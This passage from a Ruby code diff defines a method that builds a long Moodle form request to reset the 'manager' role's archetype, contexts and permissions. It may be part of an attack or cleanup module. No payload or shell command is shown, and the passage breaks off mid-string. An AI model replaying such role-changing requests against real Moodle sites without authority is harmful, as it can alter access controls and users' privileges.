+ return res.body.scan(/id=(\d)&course/).flatten
+ end
+
+ def manager_default_permissions(sess_key)
+ # reset Role archetype, Context types where this role may be assigned, and Permissions.
+ "sesskey=#{sess_key}&return=define&resettype=none&savechanges=Save+changes&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel80=0&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=0&block%2Fbadges%3Amyaddinstance=0&block%2Fcalendar_month%3Amyaddinstance=0&block%2Fcalendar_upcoming%3Amyaddinstance=0&block%2Fcomments%3Amyaddinstance=0&block%2Fcourse_list%3Amyaddinstance=0&block%2Fglobalsearch%3Amyaddinstance=0&block%2Fglossary_random%3Amyaddinstance=0&block%2Fhtml%3Amyaddinstance=0&block%2Flp%3Aaddinstance=0&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=0&block%2Fmentees%3Amyaddinstance=0&block%2Fmnet_hosts%3Amyaddinstance=0&block%2Fmyoverview%3Amyaddinstance=0&block%2Fmyprofile%3Amyaddinstance=0&block%2Fnavigation%3Amyaddinstance=0&block%2Fnews_items%3Amyaddinstance=0&block%2Fonline_users%3Amyaddinstance=0&block%2Fprivate_files%3Amyaddinstance=0&block%2Frecentlyaccessedcourses%3Amyaddinstance=0&block%2Frecentlyaccesseditems%3Amyaddinstance=0&block%2Frss_client%3Amyaddinstance=0&block%2Fsettings%3Amyaddinstance=0&block%2Fstarredcourses%3Amyaddinstance=0&block%2Ftags%3Amyaddinstance=0&block%2Ftimeline%3Amyaddinstance=0&enrol%2Fcategory%3Asynchronised=0&message%2Fairnotifier%3Amanagedevice=0&moodle%2Fanalytics%3Alistowninsights=0&moodle%2Fanalytics%3Amanagemodels=0&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=0&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=0&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=0&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=0&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=0&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=0&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=0&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=0&moodle%2Fcourse%3Arecommendactivity=0&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=0&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=0&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=0&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=0&moodle%2Fportfolio%3Aexport=0&moodle%2Fquestion%3Aconfig=0&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=0&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=0&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=0&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=0&moodle%2Fsite%3Aconfigview=0&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=0&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=0&moodle%2Fsite%3Adoclinks=0&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=0&moodle%2Fsite%3Amaintenanceaccess=0&moodle%2Fsite%3Amanageallmessaging=0&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=0&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=0&moodle%2Fsite%3Areadallmessages=0&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=0&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=0&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=0&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=0&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=0&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=0&moodle%2Ftag%3Amanage=0&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=0&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=0&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=0&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=0&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=0&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=0&moodle%2Fuser%3Amanageownblocks=0&moodle%2Fuser%3Amanageownfiles=0&moodle%2Fuser%3Amanagesyspages=0&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=0&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=0&moodle%2Fwebservice%3Acreatetoken=0&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=0&quizaccess%2Fseb%3Amanagetemplates=0&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=0&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=0&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=0&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=0&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=0&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=0&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=0&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=0&tool%2Fdataprivacy%3Amanagedatarequests=0&tool%2Fdataprivacy%3Arequestdeleteforotheruser=0&tool%2Flpmigrate%3Aframeworksmigrate=0&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=0&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=0&tool%2Fpolicy%3Amanagedocs=0&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=0&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=0&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=0&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=0&moodle%2Fbadges%3Amanageownbadges=0&moodle%2Fbadges%3Aviewotherbadges=0&moodle%2Fcompetency%3Aevidencedelete=0&moodle%2Fcompetency%3Aplancomment=0&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=0&moodle%2Fcompetency%3Aplanmanage=0&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=0&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=0&moodle%2Fcompetency%3Aplanmanageowndraft=0&moodle%2Fcompetency%3Aplanrequestreview=0&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=0&moodle%2Fcompetency%3Aplanreview=0&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=0&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=0&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=0&moodle%2Fcompetency%3Aplanviewowndraft=0&moodle%2Fcompetency%3Ausercompetencycomment=0&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3Ausercompetencycommentown=0&moodle%2Fcompetency%3Ausercompetencyrequestreview=0&moodle%2Fcompetency%3Ausercompetencyrequestreview=1&moodle%2Fcompetency%3Ausercompetencyrequestreviewown=0&moodle%2Fcompetency%3Ausercompetencyreview=0&moodle%2Fcompetency%3Ausercompetencyreview=1&moodle%2Fcompetency%3Ausercompetencyview=0&moodle%2Fcompetency%3Ausercompetencyview=1&moodle%2Fcompetency%3Auserevidencemanage=0&moodle%2Fcompetency%3Auserevidencemanage=1&moodle%2Fcompetency%3Auserevidencemanageown=0&moodle%2Fcompetency%3Auserevidenceview=0&moodle%2Fcompetency%3Auserevidenceview=1&moodle%2Fuser%3Aeditmessageprofile=0&moodle%2Fuser%3Aeditmessageprofile=1&moodle%2Fuser%3Aeditprofile=0&moodle%2Fuser%3Aeditprofile=1&moodle%2Fuser%3Amanageblocks=0&moodle%2Fuser%3Areaduserblogs=0&moodle%2Fuser%3Areaduserblogs=1&moodle%2Fuser%3Areaduserposts=0&moodle%2Fuser%3Areaduserposts=1&moodle%2Fuser%3Aviewalldetails=0&moodle%2Fuser%3Aviewalldetails=1&moodle%2Fuser%3Aviewlastip=0&moodle%2Fuser%3Aviewlastip=1&moodle%2Fuser%3Aviewuseractivitiesreport=0&report%2Fusersessions%3Amanageownsessions=0&tool%2Fdataprivacy%3Adownloadallrequests=0&tool%2Fdataprivacy%3Adownloadownrequest=0&tool%2Fdataprivacy%3Amakedatadeletionrequestsforchildren=0&tool%2Fdataprivacy%3Amakedatarequestsforchildren=0&tool%2Fdataprivacy%3Arequestdelete=0&tool%2Fpolicy%3Aacceptbehalf=0&moodle%2Fcategory%3Amanage=0&moodle%2Fcategory%3Amanage=1&moodle%2Fcategory%3Aviewcourselist=0&moodle%2Fcategory%3Aviewhiddencategories=0&moodle%2Fcategory%3Aviewhiddencategories=1&moodle%2Fcohort%3Aassign=0&moodle%2Fcohort%3Aassign=1&moodle%2Fcohort%3Amanage=0&moodle%2Fcohort%3Amanage=1&moodle%2Fcompetency%3Acompetencymanage=0&moodle%2Fcompetency%3Acompetencymanage=1&moodle%2Fcompetency%3Acompetencyview=0&moodle%2Fcompetency%3Atemplatemanage=0&moodle%2Fcompetency%3Atemplatemanage=1&moodle%2Fcompetency%3Atemplateview=0&moodle%2Fcompetency%3Atemplateview=1&moodle%2Fcourse%3Acreate=0&moodle%2Fcourse%3Acreate=1&moodle%2Fcourse%3Arequest=0&moodle%2Fsite%3Aapprovecourse=0&moodle%2Fsite%3Aapprovecourse=1&repository%2Fcontentbank%3Aaccesscoursecategorycontent=0&repository%2Fcontentbank%3Aaccesscoursecategorycontent=1&repository%2Fcontentbank%3Aaccessgeneralcontent=0&block%2Frecent_activity%3Aviewaddupdatemodule=0&block%2Frecent_activity%3Aviewdeletemodule=0&contenttype%2Fh5p%3Aaccess=0&contenttype%2Fh5p%3Aaccess=1&contenttype%2Fh5p%3Aupload=0&contenttype%2Fh5p%3Aupload=1&contenttype%2Fh5p%3Auseeditor=0&contenttype%2Fh5p%3Auseeditor=1&enrol%2Fcategory%3Aconfig=0&enrol%2Fcategory%3Aconfig=1&enrol%2Fcohort%3Aconfig=0&enrol%2Fcohort%3Aconfig=1&enrol%2Fcohort%3Aunenrol=0&enrol%2Fcohort%3Aunenrol=1&enrol%2Fdatabase%3Aconfig=0&enrol%2Fdatabase%3Aconfig=1&enrol%2Fdatabase%3Aunenrol=0&enrol%2Fdatabase%3Aunenrol=1&enrol%2Fflatfile%3Amanage=0&enrol%2Fflatfile%3Aunenrol=0&enrol%2Fguest%3Aconfig=0&enrol%2Fguest%3Aconfig=1&enrol%2Fimsenterprise%3Aconfig=0&enrol%2Fimsenterprise%3Aconfig=1&enrol%2Fldap%3Amanage=0&enrol%2Fldap%3Amanage=1&enrol%2Flti%3Aconfig=0&enrol%2Flti%3Aconfig=1&enrol%2Flti%3Aunenrol=0&enrol%2Flti%3Aunenrol=1&enrol%2Fmanual%3Aconfig=0&enrol%2Fmanual%3Aconfig=1&enrol%2Fmanual%3Aenrol=0&enrol%2Fmanual%3Aenrol=1&enrol%2Fmanual%3Amanage=0&enrol%2Fmanual%3Amanage=1&enrol%2Fmanual%3Aunenrol=0&enrol%2Fmanual%3Aunenrol=1&enrol%2Fmanual%3Aunenrolself=0&enrol%2Fmeta%3Aconfig=0&enrol%2Fmeta%3Aconfig=1&enrol%2Fmeta%3Aselectaslinked=0&enrol%2Fmeta%3Aselectaslinked=1&enrol%2Fmeta%3Aunenrol=0&enrol%2Fmeta%3Aunenrol=1&enrol%2Fmnet%3Aconfig=0&enrol%2Fmnet%3Aconfig=1&enrol%2Fpaypal%3Aconfig=0&enrol%2Fpaypal%3Aconfig=1&enrol%2Fpaypal%3Amanage=0&enrol%2Fpaypal%3Amanage=1&enrol%2Fpaypal%3Aunenrol=0&enrol%2Fpaypal%3Aunenrol=1&enrol%2Fpaypal%3Aunenrolself=0&enrol%2Fself%3Aconfig=0&enrol%2Fself%3Aconfig=1&enrol%2Fself%3Aholdkey=0&enrol%2Fself%3Amanage=0&enrol%2Fself%3Amanage=1&enrol%2Fself%3Aunenrol=0&enrol%2Fself%3Aunenrol=1&enrol%2Fself%3Aunenrolself=0&gradeexport%2Fods%3Apublish=0&gradeexport%2Fods%3Apublish=1&gradeexport%2Fods%3Aview=0&gradeexport%2Fods%3Aview=1&gradeexport%2Ftxt%3Apublish=0&gradeexport%2Ftxt%3Apublish=1&gradeexport%2Ftxt%3Aview=0&gradeexport%2Ftxt%3Aview=1&gradeexport%2Fxls%3Apublish=0&gradeexport%2Fxls%3Apublish=1&gradeexport%2Fxls%3Aview=0&gradeexport%2Fxls%3Aview=1&gradeexport%2Fxml%3Apublish=0&gradeexport%2Fxml%3Apublish=1&gradeexport%2Fxml%3Aview=0&gradeexport%2Fxml%3Aview=1&gradeimport%2Fcsv%3Aview=0&gradeimport%2Fcsv%3Aview=1&gradeimport%2Fdirect%3Aview=0&gradeimport%2Fdirect%3Aview=1&gradeimport%2Fxml%3Apublish=0&gradeimport%2Fxml%3Apublish=1&gradeimport%2Fxml%3Aview=0&gradeimport%2Fxml%3Aview=1&gradereport%2Fgrader%3Aview=0&gradereport%2Fgrader%3Aview=1&gradereport%2Fhistory%3Aview=0&gradereport%2Fhistory%3Aview=1&gradereport%2Foutcomes%3Aview=0&gradereport%2Foutcomes%3Aview=1&gradereport%2Foverview%3Aview=0&gradereport%2Fsingleview%3Aview=0&gradereport%2Fsingleview%3Aview=1&gradereport%2Fuser%3Aview=0&gradereport%2Fuser%3Aview=1&mod%2Fassign%3Aaddinstance=0&mod%2Fassign%3Aaddinstance=1&mod%2Fassignment%3Aaddinstance=0&mod%2Fassignment%3Aaddinstance=1&mod%2Fbook%3Aaddinstance=0&mod%2Fbook%3Aaddinstance=1&mod%2Fchat%3Aaddinstance=0&mod%2Fchat%3Aaddinstance=1&mod%2Fchoice%3Aaddinstance=0&mod%2Fchoice%3Aaddinstance=1&mod%2Fdata%3Aaddinstance=0&mod%2Fdata%3Aaddinstance=1&mod%2Ffeedback%3Aaddinstance=0&mod%2Ffeedback%3Aaddinstance=1&mod%2Ffolder%3Aaddinstance=0&mod%2Ffolder%3Aaddinstance=1&mod%2Fforum%3Aaddinstance=0&mod%2Fforum%3Aaddinstance=1&mod%2Fglossary%3Aaddinstance=0&mod%2Fglossary%3Aaddinstance=1&mod%2Fh5pactivity%3Aaddinstance=0&mod%2Fh5pactivity%3Aaddinstance=1&mod%2Fimscp%3Aaddinstance=0&mod%2Fimscp%3Aaddinstance=1&mod%2Flabel%3Aaddinstance=0&mod%2Flabel%3Aaddinstance=1&mod%2Flesson%3Aaddinstance=0&mod%2Flesson%3Aaddinstance=1&mod%2Flti%3Aaddcoursetool=0&mod%2Flti%3Aaddcoursetool=1&mod%2Flti%3Aaddinstance=0&mod%2Flti%3Aaddinstance=1&mod%2Flti%3Aaddmanualinstance=0&mod%2Flti%3Aaddmanualinstance=1&mod%2Flti%3Aaddpreconfiguredinstance=0&mod%2Flti%3Aaddpreconfiguredinstance=1&mod%2Flti%3Arequesttooladd=0&mod%2Flti%3Arequesttooladd=1&mod%2Fpage%3Aaddinstance=0&mod%2Fpage%3Aaddinstance=1&mod%2Fquiz%3Aaddinstance=0&mod%2Fquiz%3Aaddinstance=1&mod%2Fresource%3Aaddinstance=0&mod%2Fresource%3Aaddinstance=1&mod%2Fscorm%3Aaddinstance=0&mod%2Fscorm%3Aaddinstance=1&mod%2Fsurvey%3Aaddinstance=0&mod%2Fsurvey%3Aaddinstance=1&mod%2Furl%3Aaddinstance=0&mod%2Furl%3Aaddinstance=1&mod%2Fwiki%3Aaddinstance=0&mod%2Fwiki%3Aaddinstance=1&mod%2Fworkshop%3Aaddinstance=0&mod%2Fworkshop%3Aaddinstance=1&moodle%2Fanalytics%3Alistinsights=0&moodle%2Fanalytics%3Alistinsights=1&moodle%2Fbackup%3Aanonymise=0&moodle%2Fbackup%3Aanonymise=1&moodle%2Fbackup%3Abackupcourse=0&moodle%2Fbackup%3Abackupcourse=1&moodle%2Fbackup%3Abackupsection=0&moodle%2Fbackup%3Abackupsection=1&moodle%2Fbackup%3Abackuptargetimport=0&moodle%2Fbackup%3Abackuptargetimport=1&moodle%2Fbackup%3Aconfigure=0&moodle%2Fbackup%3Aconfigure=1&moodle%2Fbackup%3Adownloadfile=0&moodle%2Fbackup%3Adownloadfile=1&moodle%2Fbackup%3Auserinfo=0&moodle%2Fbackup%3Auserinfo=1&moodle%2Fbadges%3Aawardbadge=0&moodle%2Fbadges%3Aawardbadge=1&moodle%2Fbadges%3Aconfigurecriteria=0&moodle%2Fbadges%3Aconfigurecriteria=1&moodle%2Fbadges%3Aconfiguredetails=0&moodle%2Fbadges%3Aconfiguredetails=1&moodle%2Fbadges%3Aconfiguremessages=0&moodle%2Fbadges%3Aconfiguremessages=1&moodle%2Fbadges%3Acreatebadge=0&moodle%2Fbadges%3Acreatebadge=1&moodle%2Fbadges%3Adeletebadge=0&moodle%2Fbadges%3Adeletebadge=1&moodle%2Fbadges%3Aearnbadge=0&moodle%2Fbadges%3Arevokebadge=0&moodle%2Fbadges%3Arevokebadge=1&moodle%2Fbadges%3Aviewawarded=0&moodle%2Fbadges%3Aviewawarded=1&moodle%2Fbadges%3Aviewbadges=0&moodle%2Fcalendar%3Amanageentries=0&moodle%2Fcalendar%3Amanageentries=1&moodle%2Fcalendar%3Amanagegroupentries=0&moodle%2Fcalendar%3Amanagegroupentries=1&moodle%2Fcalendar%3Amanageownentries=0&moodle%2Fcalendar%3Amanageownentries=1&moodle%2Fcohort%3Aview=0&moodle%2Fcohort%3Aview=1&moodle%2Fcomment%3Adelete=0&moodle%2Fcomment%3Adelete=1&moodle%2Fcomment%3Apost=0&moodle%2Fcomment%3Apost=1&moodle%2Fcomment%3Aview=0&moodle%2Fcomment%3Aview=1&moodle%2Fcompetency%3Acompetencygrade=0&moodle%2Fcompetency%3Acompetencygrade=1&moodle%2Fcompetency%3Acoursecompetencygradable=0&moodle%2Fcompetency%3Acoursecompetencymanage=0&moodle%2Fcompetency%3Acoursecompetencymanage=1&moodle%2Fcompetency%3Acoursecompetencyview=0&moodle%2Fcontentbank%3Aaccess=0&moodle%2Fcontentbank%3Aaccess=1&moodle%2Fcontentbank%3Adeleteanycontent=0&moodle%2Fcontentbank%3Adeleteanycontent=1&moodle%2Fcontentbank%3Adeleteowncontent=0&moodle%2Fcontentbank%3Amanageanycontent=0&moodle%2Fcontentbank%3Amanageanycontent=1&moodle%2Fcontentbank%3Amanageowncontent=0&moodle%2Fcontentbank%3Amanageowncontent=1&moodle%2Fcontentbank%3Aupload=0&moodle%2Fcontentbank%3Aupload=1&moodle%2Fcontentbank%3Auseeditor=0&moodle%2Fcontentbank%3Auseeditor=1&moodle%2Fcourse%3Abulkmessaging=0&moodle%2Fcourse%3Abulkmessaging=1&moodle%2Fcourse%3Achangecategory=0&moodle%2Fcourse%3Achangecategory=1&moodle%2Fcourse%3Achangefullname=0&moodle%2Fcourse%3Achangefullname=1&moodle%2Fcourse%3Achangeidnumber=0&moodle%2Fcourse%3Achangeidnumber=1&moodle%2Fcourse%3Achangelockedcustomfields=0&moodle%2Fcourse%3Achangelockedcustomfields=1&moodle%2Fcourse%3Achangeshortname=0&moodle%2Fcourse%3Achangeshortname=1&moodle%2Fcourse%3Achangesummary=0&moodle%2Fcourse%3Achangesummary=1&moodle%2Fcourse%3Acreategroupconversations=0&moodle%2Fcourse%3Acreategroupconversations=1&moodle%2Fcourse%3Adelete=0&moodle%2Fcourse%3Adelete=1&moodle%2Fcourse%3Aenrolconfig=0&moodle%2Fcourse%3Aenrolconfig=1&moodle%2Fcourse%3Aenrolreview=0&moodle%2Fcourse%3Aenrolreview=1&moodle%2Fcourse%3Aignorefilesizelimits=0&moodle%2Fcourse%3Aisincompletionreports=0&moodle%2Fcourse%3Amanagefiles=0&moodle%2Fcourse%3Amanagefiles=1&moodle%2Fcourse%3Amanagegroups=0&moodle%2Fcourse%3Amanagegroups=1&moodle%2Fcourse%3Amanagescales=0&moodle%2Fcourse%3Amanagescales=1&moodle%2Fcourse%3Amarkcomplete=0&moodle%2Fcourse%3Amarkcomplete=1&moodle%2Fcourse%3Amovesections=0&moodle%2Fcourse%3Amovesections=1&moodle%2Fcourse%3Aoverridecompletion=0&moodle%2Fcourse%3Aoverridecompletion=1&moodle%2Fcourse%3Arenameroles=0&moodle%2Fcourse%3Arenameroles=1&moodle%2Fcourse%3Areset=0&moodle%2Fcourse%3Areset=1&moodle%2Fcourse%3Areviewotherusers=0&moodle%2Fcourse%3Areviewotherusers=1&moodle%2Fcourse%3Asectionvisibility=0&moodle%2Fcourse%3Asectionvisibility=1&moodle%2Fcourse%3Asetcurrentsection=0&moodle%2Fcourse%3Asetcurrentsection=1&moodle%2Fcourse%3Asetforcedlanguage=0&moodle%2Fcourse%3Asetforcedlanguage=1&moodle%2Fcourse%3Atag=0&moodle%2Fcourse%3Atag=1&moodle%2Fcourse%3Aupdate=0&moodle%2Fcourse%3Aupdate=1&moodle%2Fcourse%3Auseremail=0&moodle%2Fcourse%3Auseremail=1&moodle%2Fcourse%3Aview=0&moodle%2Fcourse%3Aview=1&moodle%2Fcourse%3Aviewhiddencourses=0&moodle%2Fcourse%3Aviewhiddencourses=1&moodle%2Fcourse%3Aviewhiddensections=0&moodle%2Fcourse%3Aviewhiddensections=1&moodle%2Fcourse%3Aviewhiddenuserfields=0&moodle%2Fcourse%3Aviewhiddenuserfields=1&moodle%2Fcourse%3Aviewparticipants=0&moodle%2Fcourse%3Aviewparticipants=1&moodle%2Fcourse%3Aviewscales=0&moodle%2Fcourse%3Aviewscales=1&moodle%2Fcourse%3Aviewsuspendedusers=0&moodle%2Fcourse%3Aviewsuspendedusers=1&moodle%2Fcourse%3Avisibility=0&moodle%2Fcourse%3Avisibility=1&moodle%2Ffilter%3Amanage=0&moodle%2Ffilter%3Amanage=1&moodle%2Fgrade%3Aedit=0&moodle%2Fgrade%3Aedit=1&moodle%2Fgrade%3Aexport=0&moodle%2Fgrade%3Aexport=1&moodle%2Fgrade%3Ahide=0&moodle%2Fgrade%3Ahide=1&moodle%2Fgrade%3Aimport=0&moodle%2Fgrade%3Aimport=1&moodle%2Fgrade%3Alock=0&moodle%2Fgrade%3Alock=1&moodle%2Fgrade%3Amanage=0&moodle%2Fgrade%3Amanage=1&moodle%2Fgrade%3Amanagegradingforms=0&moodle%2Fgrade%3Amanagegradingforms=1&moodle%2Fgrade%3Amanageletters=0&moodle%2Fgrade%3Amanageletters=1&moodle%2Fgrade%3Amanageoutcomes=0&moodle%2Fgrade%3Amanageoutcomes=1&moodle%2Fgrade%3Aunlock=0&moodle%2Fgrade%3Aunlock=1&moodle%2Fgrade%3Aview=0&moodle%2Fgrade%3Aviewall=0&moodle%2Fgrade%3Aviewall=1&moodle%2Fgrade%3Aviewhidden=0&moodle%2Fgrade%3Aviewhidden=1&moodle%2Fnotes%3Amanage=0&moodle%2Fnotes%3Amanage=1&moodle%2Fnotes%3Aview=0&moodle%2Fnotes%3Aview=1&moodle%2Fquestion%3Aadd=0&moodle%2Fquestion%3Aadd=1&moodle%2Fquestion%3Aeditall=0&moodle%2Fquestion%3Aeditall=1&moodle%2Fquestion%3Aeditmine=0&moodle%2Fquestion%3Aeditmine=1&moodle%2Fquestion%3Aflag=0&moodle%2Fquestion%3Aflag=1&moodle%2Fquestion%3Amanagecategory=0&moodle%2Fquestion%3Amanagecategory=1&moodle%2Fquestion%3Amoveall=0&moodle%2Fquestion%3Amoveall=1&moodle%2Fquestion%3Amovemine=0&moodle%2Fquestion%3Amovemine=1&moodle%2Fquestion%3Atagall=0&moodle%2Fquestion%3Atagall=1&moodle%2Fquestion%3Atagmine=0&moodle%2Fquestion%3Atagmine=1&moodle%2Fquestion%3Auseall=0&moodle%2Fquestion%3Auseall=1&moodle%2Fquestion%3Ausemine=0&moodle%2Fquestion%3Ausemine=1&moodle%2Fquestion%3Aviewall=0&moodle%2Fquestion%3Aviewall=1&moodle%2Fquestion%3Aviewmine=0&moodle%2Fquestion%3Aviewmine=1&moodle%2Frating%3Arate=0&moodle%2Frating%3Arate=1&moodle%2Frating%3Aview=0&moodle%2Frating%3Aview=1&moodle%2Frating%3Aviewall=0&moodle%2Frating%3Aviewall=1&moodle%2Frating%3Aviewany=0&moodle%2Frating%3Aviewany=1&moodle%2Frestore%3Aconfigure=0&moodle%2Frestore%3Aconfigure=1&moodle%2Frestore%3Arestoreactivity=0&moodle%2Frestore%3Arestoreactivity=1&moodle%2Frestore%3Arestorecourse=0&moodle%2Frestore%3Arestorecourse=1&moodle%2Frestore%3Arestoresection=0&moodle%2Frestore%3Arestoresection=1&moodle%2Frestore%3Arestoretargetimport=0&moodle%2Frestore%3Arestoretargetimport=1&moodle%2Frestore%3Arolldates=0&moodle%2Frestore%3Arolldates=1&moodle%2Frestore%3Auploadfile=0&moodle%2Frestore%3Auploadfile=1&moodle%2Frestore%3Auserinfo=0&moodle%2Frestore%3Auserinfo=1&moodle%2Frestore%3Aviewautomatedfilearea=0&moodle%2Frestore%3Aviewautomatedfilearea=1&moodle%2Frole%3Aassign=0&moodle%2Frole%3Aassign=1&moodle%2Frole%3Aoverride=0&moodle%2Frole%3Aoverride=1&moodle%2Frole%3Areview=0&moodle%2Frole%3Areview=1&moodle%2Frole%3Asafeoverride=0&moodle%2Frole%3Aswitchroles=0&moodle%2Frole%3Aswitchroles=1&moodle%2Fsite%3Aviewreports=0&moodle%2Fsite%3Aviewreports=1&moodle%2Fuser%3Aloginas=0&moodle%2Fuser%3Aloginas=1&moodle%2Fuser%3Aviewdetails=0&moodle%2Fuser%3Aviewdetails=1&moodle%2Fuser%3Aviewhiddendetails=0&moodle%2Fuser%3Aviewhiddendetails=1&report%2Fcompletion%3Aview=0&report%2Fcompletion%3Aview=1&report%2Flog%3Aview=0&report%2Flog%3Aview=1&report%2Flog%3Aviewtoday=0&report%2Flog%3Aviewtoday=1&report%2Floglive%3Aview=0&report%2Floglive%3Aview=1&report%2Foutline%3Aview=0&report%2Foutline%3Aview=1&report%2Foutline%3Aviewuserreport=0&report%2Foutline%3Aviewuserreport=1&report%2Fparticipation%3Aview=0&report%2Fparticipation%3Aview=1&report%2Fprogress%3Aview=0&report%2Fprogress%3Aview=1&report%2Fstats%3Aview=0&report%2Fstats%3Aview=1&repository%2Fcontentbank%3Aaccesscoursecontent=0&repository%2Fcontentbank%3Aaccesscoursecontent=1&tool%2Fmonitor%3Amanagerules=0&tool%2Fmonitor%3Amanagerules=1&tool%2Fmonitor%3Asubscribe=0&tool%2Fmonitor%3Asubscribe=1&tool%2Frecyclebin%3Adeleteitems=0&tool%2Frecyclebin%3Adeleteitems=1&tool%2Frecyclebin%3Arestoreitems=0&tool%2Frecyclebin%3Arestoreitems=1&tool%2Frecyclebin%3Aviewitems=0&tool%2Frecyclebin%3Aviewitems=1&webservice%2Frest%3Ause=0&webservice%2Fsoap%3Ause=0&webservice%2Fxmlrpc%3Ause=0&atto%2Fh5p%3Aaddembed=0&atto%2Frecordrtc%3Arecordaudio=0&atto%2Frecordrtc%3Arecordvideo=0&booktool%2Fexportimscp%3Aexport=0&booktool%2Fimporthtml%3Aimport=0&booktool%2Fimporthtml%3Aimport=1&booktool%2Fprint%3Aprint=0&booktool%2Fprint%3Aprint=1&forumreport%2Fsummary%3Aview=0&forumreport%2Fsummary%3Aview=1&forumreport%2Fsummary%3Aviewall=0&forumreport%2Fsummary%3Aviewall=1&mod%2Fassign%3Aeditothersubmission=0&mod%2Fassign%3Aexportownsubmission=0&mod%2Fassign%3Aexportownsubmission=1&mod%2Fassign%3Agrade=0&mod%2Fassign%3Agrade=1&mod%2Fassign%3Agrantextension=0&mod%2Fassign%3Agrantextension=1&mod%2